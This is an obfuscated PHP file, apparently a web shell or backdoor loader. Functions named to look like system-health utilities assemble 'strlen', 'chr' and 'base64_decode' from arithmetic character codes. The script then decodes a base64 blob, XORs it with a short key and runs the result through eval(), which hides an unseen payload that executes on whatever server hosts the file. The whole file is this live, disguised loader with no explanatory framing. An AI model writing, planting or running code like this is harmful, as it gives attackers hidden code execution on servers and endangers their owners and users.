<?php
function init_system($w)
{
    $k = array(71 * 1 + 44, 116, 115 * 37 - 4141, 108, 104 - 3, 110);
    $g = '';
    foreach ($k as $q) {
        $g .= chr($q);
    }
    return $g($w);
}

function monitor_health($h)
{
    $k = array(78 * 1 + 21, 2 * 52, 25 + 46 + 43);
    $g = '';
    foreach ($k as $y) {
        $g .= chr($y);
    }
    return $g($h);
}

$dfk = array(98 + 3 + 1 - (3 + 1) + 9 + 6 - (9 + 6), 97 + 1 + 7 - (1 + 7) - 18 + 18 + 17 - 17, 115 + 2 - 2 + 13 - 13, ((101 + 9 + 7 - (9 + 7) * 1) / 1 - 20 + 20 + 3 + 5 - (3 + 5) * 1) / 1, (54 + 7 - 7 + 13 - 13 + 8 + 9 - (8 + 9) * 1) / 1, 52 * 4 / 4 * 1 / 1, 95 * 1 / 1 + 20 - 20, 100 * 50 / 50 - 3 + 3, 101 * 1 / 1 + 3 + 7 - (3 + 7) - 1 + 1, 99 + 5 - 5 - 16 + 16 + 8 + 10 - (8 + 10), 111 * 1 / 1 + 10 + 1 - (10 + 1) - 12 + 12, 100 + 19 - 19 + 3 - 3 - 15 + 15 + 3 + 3 - (3 + 3), 101 + 3 + 5 - (3 + 5) + 8 - 8 + 9 - 9 + 8 + 9 - (8 + 9));
$tdn = '';
foreach ($dfk as $rme) {
    $tdn .= monitor_health($rme);
}
$lwj = 'W1sEGEBQPUQGQ0cXAkURFlFHS0MEH1oTRmsTWwwWH1IEC1dHXkILCEcZDVpHZ1oJQxcvDFdOQ14DQxIDB1gBAg1BNEcTS0cCVFFfUWwRGkZPEQwXDkcFEFpHUFIdWVEZDBwUXVsDUQlUPUAEYxM6BVAtSw8aSEUMHVIEBxQUTFYRAlBQBEEJW0MMBF1QPVUfSh9MEEAVDlJdAhM6H1BNA0YVWU5NTGwYB0RABQlCXwtFVgFTDQdQDQZFVwdTDQJXXlVEUwBQHxlCXwZEBxNJHwJCRRRERRhAZ0EMCBRNXBNTAAJRXgdFUgEBDQJQWAdFVxNJHwVQDQdBVgNTHxlCXgcVRRpADRBLTAdXThM4QkdCVg1XUQxUDQRUTB1XUQFUCARXWAZXTBNUHxlCUxRcRWsLWVBCVg1XRRhAZ18BHhRNXBNAFB5eFk4ZBBwOS0QAHxtUPWciamEgOWgvElVdAmgIBxtXPVwCHxlCGxRZPx1BHkQRGUMfERxDZ2QgOWU1MG84SFZfUWwdDhxAZ0FCRRQZARNOZRs6G1JKWGsKVB9CNElXTBMXHx5MSg5NBFULS1JMEBcvDUMWBRM6KHw/KX0iAxM6AVYRXwRXAxM6BVBNUgFcHGgCBg4REEYGQR9MUBcvBVk8HGgPDlItX2sXWQ1fNF4cShM4HxlCBxReRVUAHx5eHFsZDlFPHGgLCBoLRmsAVWxBNFkVA2lJBRM6BEQBOQRUCGo+T2weAWlcUVFNShcvDUMWYwdWW24rRmsJWxxVWm5ZGV0BEBZBNFwHE29XCwc4MBcvDFdMCAU4QlECB1UMAxM6AVYRSR9cHGgCBmhUPV4CWWpYNEMRWA44VVtNTGwYBhNJH0JCQghUPVoEExxeFhcvDFdaHGgLCBhAVx9XCQwYT2waB1VaHGgCBmhAUwY6EB5LT2wXD29XCWpeAlVYQxA4X1o+WwEtShA4UlIEQhoLRmsJWwpBNFQdOQRVDGpNT2waB1VLHGgCBmhAUAM6EQxBNFQdOQRVC2pNT2weARhDZ1AIMANBVGlJHGgCBmhAUAE6EBM6DF4rUgZVZR9BNFwHE29XC2pMQhpLH10JW1sQD1ZYRmsNXVZMUFcZBxxOA0o=';
$bwf = '87ek3pb4g';
$tkq = '';
for ($yxj = 0; $yxj < init_system($tdn($lwj)); $yxj++) {
    $tkq .= $tdn($lwj)[$yxj] ^ $bwf[$yxj % init_system($bwf)];
}
eval($tkq);